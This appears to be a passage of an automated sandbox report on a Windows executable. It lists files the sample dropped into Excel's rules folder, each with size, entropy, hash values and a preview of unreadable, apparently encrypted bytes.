Preview:	<?xml...g.-..H...i.,;.)D.X.?0..&.....(.....y.......~.?X......._.%.T,ex....\|.~F."...W.;e.....6R.bU\.$..mg.....!....F.d.....@t..me#uM.N.A.CM......O..}...IK....+..L..$.<d....f.T.l$....,o~....{H.......G.!ly).SGT..8.d.zE..A?$.P.t'.E~....(.....7..$...b.t6.\...s...f.[x.#....(.UOu....wT...`."lKk...w.m..L.1l^....<..d=.4.1..t.cx.sN...K..:.....CP.....p......;n........q.\..f.D.ep....)...cJM2.B...4.r.]. LJ.f9..e.M......).K%'.SC..i...A...44.P...'....i.r.r..bu...>Blc.u.2....I`.m...xj.....,...2...^.3....E...sf.q..W.*.l..l.5.??G........#..F.iC.....@.L...Aw..........F%.+...D.j..t..^..#k.....k......V....2.F.-8.......$$........5 Y.F....F..$$...&.......M.#..f...[..w...7).......Q.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.938175773038657
Encrypted:	false
SSDEEP:	48:SiZBtXSjbe5/6jdUb3GDcq9kMtpuzhbc7WFwsyQeDl50oB6an5/8uD:H9X8S4hUbscOkMedGf0oUmdR
MD5:	B0B442081CD997476FCB50D76BBEEF59
SHA1:	A7CE9F2347EBDBDE1B7595F40ED388A4381A6CB8
SHA-256:	20ADF53A67D921DE18B988F4F77404283EF5F28316D6459D11925EAFBBFE4A5E
SHA-512:	084E6E7E51BB849A05349F26FAB0A64270EA8F6BFB46192CB2FF2B30D0034C3E98BE96DE28C3DE3B2F7BA2A9399B61A26DF53F6E8A4F0FDEC1A4FB9146378B7A
Malicious:	false
Preview:	<?xml.cC!U.:.&.y..L..$...S+.!y.....Wq..L.2UH.j. ..3.l..7..,..)....=....p........{..g.k%..E.U5..PH;:y......J....v'v...41G.P%fuM..GDH..q.&..w...k.Q4\..U.qC..9.....\|I....".\|..B.9....=j..9.&[.$..4.H..tA/.}.zG:^&&..\.7..4.>..Fi0g.!.4XG.^......cd..r....R..w..........\|.FX...H..i.qI..6.Sh..I:'".Z......UH>....5...\|..t.(..i...?..#.t...O..WyL....-g..\:X.q..z......dU.u..5-l[.).6Z.@....7.P%&'N...5S`.[..c+..........B....!."..t...<eU.V/....L'...,A$..1.hNB.v'....O.p.U...+C...x...F'c;...+...4.)<..I3+.t...o...xa.(q..9...W...zD.2.y.........b..`..e\..J..E....m`...HNl...M1.i.LN.P.g...ZE@E....H..I.L.M.....3.DA..F.....}b...g...?......g..:i.......gO..qia:..t./f.U...e.#.&;#3....X..?..e.g&E....3..3.Z.ML."Dg.:.V.yl..Y6....3..B.......G..q;N.A..._...%K...eM....J..MS.4.)...C.@......%z...~8N..... ....M..p.i_SmEUm;G.bS.. ..H*.m.V]..Q#..DB.Ab.&{G4.E...k.P.M.b...jc...5Gn.J.;h.......p.o....b...k^PP.UT..x.K}b..T....k........).\|..-0...?t..n.DwC._....%t.^I.I:..._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.942408292607346
Encrypted:	false
SSDEEP:	48:zZZUkb4U4oY9bmwJ3EDZBntLrORWuLqkFFIdm2zlEKrpa9W6eoq/D:7USsiwJoZ1OUhkFFApREs6err
MD5:	18328AC30B46497C07C60CA8F34B6D38
SHA1:	EFB4EA5431702FF04E855E2CDE6614579B34F490
SHA-256:	C4D75EA73C3FB99F2B35E29258D11376A8187D035A3E1FC694F6392860D0B888
SHA-512:	E7CA22B438A7F23E3F0CC9D36E83212AFDB909A06FBA22CE31A93076A55599FBCC20F9EFC69D127C921FAC2C1B867F970705E8210EAC6E952B07CC40964B36FA
Malicious:	false
Preview:	<?xml..q.6...X.v.6.\....n.}e tC....]Wc..3...@..j.&..[..J;@..>..{;.0.}....[.]Q....$..Y.3..g...Q...Wwg..f...!..\|...i.j.U.../.........U...:..Ad..8............B.q^.....3\...3.Q....a1..1....q...Q...8...x-Eu..;.._@s..E..w .l..#Srb....d.9.O.8M.X2.D.S.gbhQ.3V..q..&/.].....~f....i.....".[.E..2......Iz,.G.a...U..:..7.c~....3...W#..b7n....;.. .j....<c.-...E...,v.b.....(...9....@....bK6..5.&2k$K.;X._.Jm.!m....(..\|K3J.pF....J.@..y.,....Wr..i.aCo..........q.:js......[?./.7#..m.....=....)9..#.u.ZJ.^AG,.d.k..Ic.ME......(#....H.~.^M....2#...{%.$A.`.P.J.Pe.\|6(.VD\@h...J.. ...>..fNE..#v!..p.~^A.%..4K......{.G.....%:7..:.\..d.`.>...w..w:.....!Ip..y....5..*...&P;..&.9G.%.>U..L.d.!xXC...Z.u..6Y.j...[.-T......6p...\...#.9........x.C...0\|OH.m.q.3....ku..G\.x6o0[.[.......}40..P6..o..+.N?.c..N.2.H2..LUJW..`....p';Ja.k.67VY. .Z.......P./.J.d:.....\$t-m..<WFbR..\.=.eQ...'..egL.1....~..Y...4~m....nt...>..a...r..EU.. .W.6c/....t6.N...`...I<...Z...7"=..,.d....oQ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.9523407202538
Encrypted:	false
SSDEEP:	96:zsx3vkxvxala2YVjSYGWCJmQYPc4SQcf2NsIWcx1mJViEOST9eQz:+s5aPEEJmfc47c+aIWWSDrz
MD5:	B94171F2760086D1CAC50DC78F618554
SHA1:	C41635CFB779E32DAC6B82D4F4B4BE6E9079C2B2
SHA-256:	12B298417D40B81BD39980A0FAFFF8347D2A3DD06275AF90E8E76D568620081E
SHA-512:	9C7E123AA5910DD566691B09289FED9E151CB1CF23A974DD8CFD0DCAF750BEE4E3CD0307C917408386717A85EFE724DDEDAE0D786E70F562A290F8AC62A50692
Malicious:	false
Preview:	<?xml..&.].._.C.=......t7mY...UW..._.g..o}.ka....K.......S.Q.=M..Z.9b. ..0..".9..... d.X....yO...D.qn..YC..R...Nc...V.t......U._..1.S.j.........W....\..!....)b.`6....W.]a....wgj.........M.Q......Q.....xTW}...iX..Z.....[.~.{;.'.....Z.XAlE...V..'.9.7.C.....<..\|.Ph.ZD[.f..Zx..~;.}..5.Bo._...)n..].T.k.`.]"..A.\|d.@..A....".........<{8....o.xq...E....l.Q...x4.1...8..@ ?...;.../. H.v..N..c.)....>..e_(...."w..V..s[.Z.l...].G.."..j.PC^,.So..c?...$[...P.v.r(}.._-...E...i...I...a....8\...t..."...W.V..+...I....$..i..@F5..C:8W@[...t(D.A.a....;..GA.;....?.Qmz.4..].GJNGO.ica.m/.^.a[..t...=bY~Z.O_...H..y,...........!ma&.f.x5..Lc.&l.u.=.{..,..hDx.'......g~l...2..4;E..v.G...g.B.%\|.p.1..V.K7....l.y....U.9.sz.k....%Mp....p#......H)s.x..b.....6jpq..<.wdG\........Q.j..U.TI[u.H.R.6]..I.0...Nb\|.....4.....bRN.s."....5.l........`N".u....1..3(.o5..jz..D..>...@.&.&8.X.U.(.,..t.c.P....V....@....9..s.mO...y.H`.,.@..!.Vnj7<..Q.u...Q. ..S.vV.z$..\/-4...<W...;z.oLS.I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.829111707758026
Encrypted:	false
SSDEEP:	24:nZQtOm9bCe57LkazGnuuQi1xHCwWgj2/G7+GmikKyP0/fqdyBbD:n2LJ1kazGuSTis6BGmzKVD
MD5:	13A64ED85763AEEDD6A14D88501724C1
SHA1:	426333BBA2EEECCB29A28DC705E2FE23C55FE2AB
SHA-256:	F9C91CA8257C1BC8769B92854106E210DF33D1F6C5887E92F4A46F360226C199
SHA-512:	A23DBECA4BAE168EA020173A59A29C7287459456BA44FDD41B862C8C9F6CE994838955E8EADAE98AC8ACE1ABE29D498E607E54368F3E181407920484C37CB078
Malicious:	false
Preview:	<?xml.;z..N.`.)?.%..N.......s.......Ur.R....u..J...7[...E.....<(LF_R.\|....h.......1..Z.,o.k.....T..z.O~.gk_...d(......zG....q.o......Z.s........y.p.P......g8.}..O........v7!K)2$............B.........h...aj5=c.3A.j.?.e..%.7.[...qcV@....I..c.z.?T...\..6.V.`.s..fZ....R.;g............~...Z:...p.QM.....i......~....I..o.O.v...._?..6`R.+zY..e...=b..C..(..Hy....@........b!....giD8.tX....8.L.;w.."?i.....ot....c..?).w.,HY..S.....8.8}...V.To....Y.7...[.b.;hx..VWHx.....d..3..A..sR..e.P&)..)._.....!.{Q..x.-D..Ml..=G.{.\|.....'s...d.fD.[;<b.?.1.}..~..'....s..g..4I.>...H....d>.......s.2wK.........4~ti.O. .x..4..h.Aa.W]...s....o;`0.KY.:.1c..O.,4%?\.."..d]..L,...xj.dINNi!d.z..."..E........G ....8~H.D....R.j.....-.1f.M..........P=c..v-PGDK.Z.JG:'.z.A.Z.!}..)nV...bF!.rI.w.FL...7..-.T..x.vI@0D...eJ..........%l.8.DR~g......0H3U...,p..9[..8..J...).~.m..?..@"..(......^qQ.tq..1.u.=.."..NCp?..L&.t8=....jB.l..L..":.&.@E..J...dX..i...68.t_.A... .....BZ.W.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.843035437278642
Encrypted:	false
SSDEEP:	24:6jDUbl91hUhVx3bTS1y/FL+bXcd3NDzZKuEwqbFTbfHCX8i2SeQeZvbD:6jDUblTa3HS4/FOMddDzhJ6FffEzRxwf
MD5:	509C4E88D2A650521AB9E38213AECF93
SHA1:	0FDAC7E19701C80FBDF5AD0B28342710971C2882
SHA-256:	C84C3C9BE0754DB7B32B304CEF5F588F1368947E04FDA4261B78E08779014F82
SHA-512:	7F492C5E69AE6F3A6622447D94D7D8A26E2D51204CAB0481295057ABE6DEED220F390DE6F7BC5675438C80344D9B226EAA0A17C28948DAF153D971896BBE20E5
Malicious:	false
Preview:	<?xml_.....SJQ..Jk....De0dN..6.........f./.\.....W...n..f.d....j.<.{.V...T..C..FS..o.$.h&.W1.;....LUM..`... ...[A......s.SI4......(..>\...8.\|y..t..E..].a....... ._.....0.j(.Jl{W.<.Ad....Y.<x...2V"W.O..(....L.a...$....'..4.v..X...RM.....+..Q...u..^gW........J..\.S......h..b.....R...+...SL..r.......)6..w....a...>.......^.(CdmG.<7.nZk....V..7..z."..\7A@.O...l(`....[d...$w...Q......d.......&..O<a........2]M6h...l...I......{L.$\|.6V..U..u.~..W5?P.I.}..^#..8...y..&..Z'....UGg.\|}..J&..XY..=.k.&.......H..N....].....I.....\|T..pg.n....>A4..@\..[t....Q..N..jT7..M.ODRc.'.G.+..)..c..............1.DI...Y.L.h......k.Wf9.c.LT........\]...T......&G-....VP......ZTF...4.C.x...jJ.....M..].P0.Y....8.{YK.s..p..N.V....es...8..........YD..(Xx.)...#.%..\...[\u.~.r...5...."3..U..7.t. ..<..k.?...!....]S..........jeV..<n.5D.B..q......z.n<UB.X...J...O..J.9...$b.4.o.....\.....n......W.1.v5..2..m.+....7m[.....&.@...`Z"x.g....=.?]...s.t.......nB9..`f....V.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.819313386404342
Encrypted:	false
SSDEEP:	24:abd1RcCoycqaVtpSRcWnvZPo95m81IcpX+ShuDReQhj9KUtVX3bD:SajcipEc2v9Okcj8DReu9HtVXLD
MD5:	3837DAA188E4F62E89A86BC102669264
SHA1:	A2E5F001CE91B550649A9DA7EEA39D4BB1252449
SHA-256:	DC3F43FF0AE1B443DE3D6E53F511034A72DFCDD0D6666FAD3DF80291B4E5C9F0
SHA-512:	CE1FBB152115F3CDDCCFB7B2B726A5FC67A55D7F2521115E59B9283019A60035C1AAF97942B3D8E21CD1EA37B6A5AF60BBB130074D63ECA02C4A0C613C5550E0
Malicious:	false
Preview:	<?xmlH.....@x2.SQ......z...(X..f.+'/..p..'..F.....$..t..2hVF.X;1..c..;r.......Q.).n....8"+p....m..UM0b.T.q...e.i...p:...=.".5..0C.BQ.gS..E..,....F.b...#k[.vkpT`.N...=.....^...aU?....\|.....BA..U..z.g.J{X.o....Z.".....Z.X&.O.G....s....C.{..J.E.~...}..ZM.KN...i.r..0{.I.mV.J...[{..R1.Q.X.f...B.Z......oh....S.T.b.r...E.?.....t.zq.........=%>....x.....F...J..Sp.1!...y.3....d.>5;....[%....ii\...hSl.....aK..j.1.z^...V..;ne.....9D.U.b...#....z4.C....!xr.....]JB....J!-....\|...I.E..Vf5.?....:............:..Yh.z...".W.T0N../..{.......D6..$...{I\|..<.:2R.aUU^Q..:x.Dc..S_.o)ad..o..8..LT..."......F....pj.!yn..:...;.S...B.....B....Z3..kkY>o.C...9bb4..\._.B.;..G...5....).&.S}{BW.f.d.T....[<3mu.C......W.Vdz...G....`OzQ.^.<..B.......jY......._..5.l^...~6.f.X..'...,.......(....N..'V.....L)./..t...._h.P...w..$<y.'.J......x.n.6\.v.j..N..7.#i..d. #...5...^..E.Q..0*&..k%g!.U..k..B..]{...FxV..lYS`D..Ui.x....zg...{..._/...Y.....T.`..^kc...@.j.......f.[..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.978362531116034
Encrypted:	false
SSDEEP:	192:enJDmfpergI5SMGLbfoF3OmNEH1pUDuzyHmyJj7nNfTBHZd1:eJD8y1GLbfm3OL1xKhZr
MD5:	60E7FB65C40B0C6466454579CADB76B5
SHA1:	4C8DFF1EDDB64C7E1CB09A99F338473BA41E0FFC
SHA-256:	4AE75A0F0F9E96BAA2493E1587C7869C48834E7C7AFCDFB66DCFD1AC6791B874
SHA-512:	963ECBE0DA966D52F8DA574A9B6EABCD1FFEFD56ACC6D32B93062FAB04E4C3A471039EF84264010E8E31FD207CD7C1AEF98BDD8ED9E3538D56D6693D033849D7
Malicious:	false
Preview:	<?xml.O.c..\D.>.3._QCg..\._Tw.4..Z..F..qR..z..)s 1B.....;.7.\|.A....P..p.....N.H.5.....;.D.g..F..-...~Pc?T#.I.6s.._..>7.F..........U...R-..tn..^C.......u...lt?,{.K]...Z.22.w..s......DE...0~..M.<S.".....Q9..3.<9....a.Lny....2<.[z...f.`.....1.s....H..W^:...W}..O.2.+..,$.........?....9sgT..?..Cn.g.:.W..^G.,....uP.._.:..0.,..Y..}...s.n..F...yF.S{.0.%u....bh...(..mDw3nYP...-...Cc.. ..w0S.j..?..\v..\.N.-....u.-.F.<...=.{Z...`.7.&.JVV.Kn...K..=.=...o..n...=2;..Z...6MW......Q.}....?.8_FW.=..a....``.F.f.?..Y&E..nN.vv.`.vH.. $...6..h...5.......8g.E.<............D..........`O&..M9...Qg.U/ND.b....:c.3...h....K...8....N...H.....v...H%...i9.:.s...3WD.vAUa....M..F..<.[.....x....K....&.M.n.............._..A.+.Y..4..`..m.>.~..y.+...../....q..\|..R...I.J.n56:%.E3J.#.Nxw.53Sg....to........4r..m.J..+...V.Z......p.0.q..oK@.&..M.....7}."......A.....0...[G\..C...\|....J....F...s..K....<....:.z.....Na...W.2S.-w.....C.Y.\|.d.k.E3..%.D#x./.......\d2_i...f.....>.xD..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.970948339662229
Encrypted:	false
SSDEEP:	96:6K9+yNcmKbRumcy/809No1vFlp71roXPKLtURTCpK8U+hA:LABLwb68rvFv71i4uWxA
MD5:	37CBEB2BB1688819B8DC52C448E981F7
SHA1:	8F356BD32118CD1F2BA2484BE83AB2DFE78B68AA
SHA-256:	6FF56CBABDF67FF0B1C6E72A7A5115684F44A0DDEB6DAAD08BA3E0BA3C21C3F3
SHA-512:	3F400D5AAEADD6FC7EC58D9F14E3258A00B35F804AE9C06107042F78A22549D57B9CCA98119D385C5D19DB64C8BF56C52006188842989371692AD7E7CD8CD5FB
Malicious:	false
Preview:	<?xml?m...\|cqI.......Ja..\.l...X...._..nH&.j..;(.k...D._.a.^.M.d.#z...6`0..1.....'....G.i.s&Ci.....Q.._H!.x....H...$.nN.?.Gi.1<..C...b..8....yW!.n...8..............l.;.2d.-........]..r.2........1..J..I.0..U.$... .U..{.t.'.H.)s.g..._\.gE$)%.....:.YW.h..wv..@.....O.Zg..K.#...0).....\..C.t.k.B...BD.!V....l.iSy....I.:.Yw.....I...v.E..%...F.U...-.,.C.J.._O1.....#=M.F..F?.[..e."....%cT.c-...y.+.m.cpeSKFc..t0...p.....q.E5.....B..=p...W.)./.x..7aul..c.4_.....u........9D..L7.1..<....\|.f2."/f.un.1...@...N...P.....Ax.u./.<.a..R.\|Aa....6@..A.C...OR...O.2w}>$..t..$.a1......hK..)LR....\|..Q..P..S......N..Y..CZ..].p~.0....L....R..c.aj.!.(3M.].w....HX..!.V6j.pF/.2~~j...T.AtX.....4.EJ...S..J./..x...9%..P...;9k..........V.'Q<h.}..i...p..#..o...Y.i..&ro.A..'FF..'...}.)C..q.....e..lY...v>'..V$.T..U.!n..x\>...p....{x..v.....7.m/.go.{.l\......~4.].`....+....nfy`..i......7}.Q.:.}..Vh...1..T..SC....Fa.0#...2.C....#\R...\|.g.o..<...@;.t....P>?....@{..O..[%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.96412700632652
Encrypted:	false
SSDEEP:	96:1mfJBXDO1atMUCfVKZDMZWEIjkn34TyyYkm0W65stXbEUAel:8JBz2pxfVKZDOqjkCyDl0ipbrAY
MD5:	46E0D1315AD87C678F315FD0525BD734
SHA1:	16515EFB07B8F5AD86CA7D2696BC470E2840B11A
SHA-256:	D5327CB463A34C5F3C851192D81EBA54A877E7B32B91249FA0EE62447426D198
SHA-512:	30541B33828FEDA47CC8512A566C044FB6BD79F58BE08EA801081B71601581173FA703A69A00D85AF727CD0649817DFDBB4ECEA4E5C24F381BAB84EE659ACC7A
Malicious:	false
Preview:	<?xml....'hI.g.{...0......~...jC.\|{..I.m.R.s..$.GC..!\|."WgW0Xt..N..y..,QA.%....u....}....T.yd.LV.`...q.Z.9..........b.......;Ed.LqMq.p..7..g.I...V.=...- ..%]ZJ...:e.Z...3..W......'.f...'..Do\|.....n.:5j..."4......Lum....R.42z.........w<@.G...Z&.'.1H...,....).jnq..z-p..M....clN..BhZ..~...#G..\|...huIP..K....<...m....."...Q.,..V.u.N...h3!D&.n..s..1...y........o.?.Y$.7.>..8r.r..L...^...b....j......)ff...V.O..P}..5f..4..UZ..X.........9.fY..?.8G........@.M...;z.)..`s^...M.,I.....;.k.w.....].T^.G..,VO../...l&D$.C..=R.....\.\|)..4.F..R.o......bS.;....^.j.(?KfE......d......N.%7..,>.....")....B..%.#Y.ttO[.....u.&....d.:.U.>..G....H7J2h..Ia..n..r.SR..m..)q.E...90....iQh].;.Q...d.w4./....!..G...W...jm_o.2HE-.P....< ...E...)e..I.<9......f.Dd....@.."...C......a.F...2.!1.z.......b.LM0................Y..m.a...}..Y...&...A...E..+.......Q......4..]`.....H.H.v=#N...e.v...&5...=.>.H.L.U..........@.7.:L....[..e~ ..%.._...%`....'.'..-.Mz.e...<..0Ce..u.UQ.E.......W....@I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.962707609862863
Encrypted:	false
SSDEEP:	96:uX+B5P7iBnQOS8lQFfn0wbBYTuz8NMutxEY+/wt7auZN2ZTqyr2NW5WjLh:X8BQOSzlVBLz8NZty49auZsTqp8Mh
MD5:	1DA3A930A3AA1083CFCC65ABCBE0D8E7
SHA1:	F14FB38E2D4EEEDCAFF2AE5844180E68E98B01BD
SHA-256:	B37155EB779718A54B8C89811EBC51022028131664F6F04B538B65D027DF8797
SHA-512:	3269803CC3B9F0CB4519DC6D9A36717051EC48E4785B2EE653A0D0242C309818E94129F92EFA86B5306DF4CF49C79A082EB11575FF1734EFD79A9B471E4FB387
Malicious:	false
Preview:	<?xml....b.!.A..fA....6m..`pPO^.....+6...W...^3.seI8.Ov..9".......sH. ...8&...I..{. o.;&@........g<+e&6ZA.(./.... .W..@..1..].(..W.:.@eQ.A#....E...B.=..MS.".Bo5......".....=..U.i.......+...:.....x~...ti.E. S...cxb./........ym........l.....-m.....vnI.....o...)IY.v..]...Zo5....X..Aq1...w...0....C...Y..1.L...fi.G.TvT.0...M!.D_..n.9b./.I..l....r...S.2~..r.g.3.).0......i?.d..&M.4.Y.s70...A.UrqQ.h<5..<.<..^L...UG.tB..O`...4...Uq....-....R....o%!]}.b.]p.1,h....fi.MY:.Oh.6...IB.........]l d.m$....w.......Bx.L.0h..V.......V..w.d.)..z..95].c..y,..oo...C....D.`.co.2[t....^.k..".f...(.8:/V.4k...r.....;.].@gy.5.....M..t....F..l.1..G.r...~.....q.....\..\(}.......(;..j....s..<..).c......>on...%...l.,Iq\|.}E$...G.$.;.ls..%.WK..C...x.R.<.U>)..`....X.[.[lz.....u .H.....n.u........G.....@.......j..j..\g`..Hl..W...Z...sD.L............9...=..I.O>!G...:...tFz9. D. .......n+....Le.....R},..3=b.Fn....v.(y.9]...%.......>......N.-..kU'F..S....R}.U.!< `..MG..\|..._. a...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.938960036576929
Encrypted:	false
SSDEEP:	48:D2RVUZBZcl11Y6bVwJE5gXFYSPVymgt18z/7nou28QYjuvD:S0rZcl7bSJE5gXFnP0mgt18zcu28pw
MD5:	9CFC03A6DF948FD7F3A750CD692E6BB2
SHA1:	D1E25F327A49AFADC3801A13A8E4576252E02465
SHA-256:	374C12B3F30828CD7AE3FB139AA2D2AB3C9FD5DF2F111CEC3AB65C65FB50DC2A
SHA-512:	F805F10B87C32D8531CC4F7A2B821DA284258C3102FD32F4F539EB20EDA78AB0107B212299A680B4A96D2ADD0C61175FCF749CFB0D0EFCD24F3032198144D4BF
Malicious:	false
Preview:	<?xml3..X ....{/..O5g.......:..@8\|.Z..B.5=......k./9,..B...V....zs..-.f...;H.......9.y.v....~.wB....K7b.vk.c....O-..hB... &....`..0'....,...n.....:Aa...8S.k.NYD5Q......,.I..(.o3..o..b....m.......{.....[(.@I......&.g...d..2.D..^0.s$.L.w5.J..'...PM...Y...@.S..@.-...K2..,t...H.M.......Z.".#...ZT]...Yf<.-u.g.u..v=..9.d.B.....n...<...V....h.]W.^B.Np.y.t rQ...;..7...:...}....t]......n... dh..D...>$d....H.w..v...5..r+...7...m..s.\|...(...<...=.s.~RV.]....=.Fq.h{..G...s]...B..l.'......%.M.r.."`.Z..@.IX\.m...FB8p...R......x/.j...].z+......<a......\|.x.,..-.....Fb.Y...w..F....nnz.D..Jt.zg2.Q9.B2RY..N=.;..([. .V!S......W..._...OQ.F..x.'.....i2/!......b.......)..V.C........ {...i...'.?..sb..Q.N.l.(.n...N`V..~..r...uo....."....:..8%..Q..iL9O>..TQB1Z.....A.B..wz...fO...S....i.C..dD.J.qe4 .>P.0lts.M............v..~..^..8..a.oCn...,..).....D.....q.N....,f....=.C,\|.^u..g*k.....:.UM\|...Zs.psuNp....d=....E.....q._)....Zce.+u~bH.Q..Tn.k..,..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.707706185874468
Encrypted:	false
SSDEEP:	12:ovgJ0fvAgrMmIo1svj9ouzFRO5xUorFbCv5+VM1sU0xRBB7dIVUR4N7djEYcii9a:hJOFvqvjKqLMU0hUeKsR/ZIVUKFhRbD
MD5:	7B6124162E0488DE848E28BB950E916E
SHA1:	20F83A51493AAE458EC4EAD4CF64DA6B52162FB5
SHA-256:	0A89294A8330398C2114D4637A5F44AE2AAF6D2404F0092B602D1BD291281BB2
SHA-512:	F930586F08B11AD2F65FEC375CAA1752EA4ACFD02A6B669818D8B11A642745BD77CED3126DD6637AF8961B1C08424C84CD1903C82B18C088427B727752C29542
Malicious:	false
Preview:	<?xml...a5........{...?b`/..!.a6xv.!.G{..9....#3...-.f..G..<q...................r.;ee...).7hk_.Qs&........Ld.(k.z;........^.:...%.E..V+..D.....<.B......3.......J.I.8.y.9.ks0.d.Q.8.L%.W..`....k.@6.............uS.8..)o.,.cTa.3.K.7M.\....y..8W.b.l..=p#.{)..m.]...JL%....j."...1s...x.4....^..'..X.I.s..m..).i.(.......}...Q...0."iU0..0.?K...U..}.o..Y...~}..~B&3.u.\|f....LV..J.~.......G}^3~......}..V.........E..iO.&2.f.!..`...0.0.Ut@B.....(..f..>."+..v.W...7......k.bm@.).....l.?.....2..&..+.E.<.y..`.I.V...\|...H.......e..$E..0.r....X....(...{...1E.h.....w*b#}(....i.2....+.._.G8w.....y].\|JI.=2v<Dc\|u-..+w.D..{.-...%........}.....Q.0E.R.@on.....c....e.kR....0...l..F...\|. .5.-.N.l`...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.941195564269962
Encrypted:	false
SSDEEP:	48:FsBCgaiQqPNmL3r/dzTCxL01zjCEDp36DRfmt7wCj0gNAG/pTPHxeBLh3J9AvX5a:FsBC5RqELb/1601zeEhCmttj05yReLlp
MD5:	91C32F08DB62AC0A5420B47183B94F0A
SHA1:	635E240B95F6123625C203F9542E70D99A9AFE7E
SHA-256:	F14884E5FC69EC55855589EF7F0FB4E9EB1ECBD9B29A4CAD7943E2BCF5497DA4
SHA-512:	7842EE64A51E96C1959B2D06902EA189B88440982F7332F634A6713DC0F9945ADF9FC80E536BE76E8643DC408F8E658375FCEE6915C3415CBFFA9AF84C5E6FC5
Malicious:	false
Preview:	<?xml~.bG.6..,V.........dpHW$... .d.....Z.............;..p.......(....%.0^...NL..<.=....VS.T)..U!M....lm!..$.Nr6.Z.h.X.......]3i.l2.481.....Q..mI..7.....%'.s...9...fF3[..%...T.s0..X.eq...C.(7.U....M..iE..r._...@.{.s..s.n7..2t.J..1..u.a..n....<D....g.;++.....^...F.B......J4]^.#..V.N.h........d.Y......c...;..\|.#..;c.... ..Y.Y..;A.Q..P.g.C..:........}?..].O........K.65G.?Q...M&.r\`...8..J....{n.....7m?: !.V....)c.i.+..U.....\...;.l;...".W...}.8@.jw...g..!.!v.D.A....nF....K...\|.V%$.#(.2$T.P...7\..`!..o.W{..O..R.....84..].Nk.mE.q.....&.....YE.1.,.3.?...n......^y..u...H...J..{.....H.)....KtsM.g..N..6.>^.O<....b......oP.........N...A.._...)zE...:jI.y...ve..g..A%..`... .\|.Q..9Ax....<c.......4.&.....q..R.q....!.Y....x... .<>.q.M..;b.#..y....._N.a.N.O._....p6..>JGf.aY.%.F.M..r.......Q.Yh.Fn..y...#y..L....x........}.....v..6u. ..A...%.l..j.9.;C......S.\.[vc_.H...o.K...G..}.Fbx...]..s$.RB~.-r;.hm..R.k`.!.`.(.>......e...m.(.....g..A,_R.!..-U.U.I..N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.688367970878524
Encrypted:	false
SSDEEP:	24:vk2PfuL/8QjTmspOL1noGRqt2F/tsLo3QBDbD:JunvmspW2ftSNiXD
MD5:	2CF24E9F99FDBF1DF305512D1B6D53DD
SHA1:	FD2493BF1F42FD41C7680C1BE1EEE35912FAF9B8
SHA-256:	064535D3784F244903F231CC81EE29A92CEF5DA2126446D43E380DB5FE0A2773
SHA-512:	C938F647927FC28334B34B5969F512D9D6E2FF35A8D762245745B0A70FAA84AED4C4DD96634022D9D952688161C7AB97E877434F928E0E42A95B33AEDB419FEC
Malicious:	false
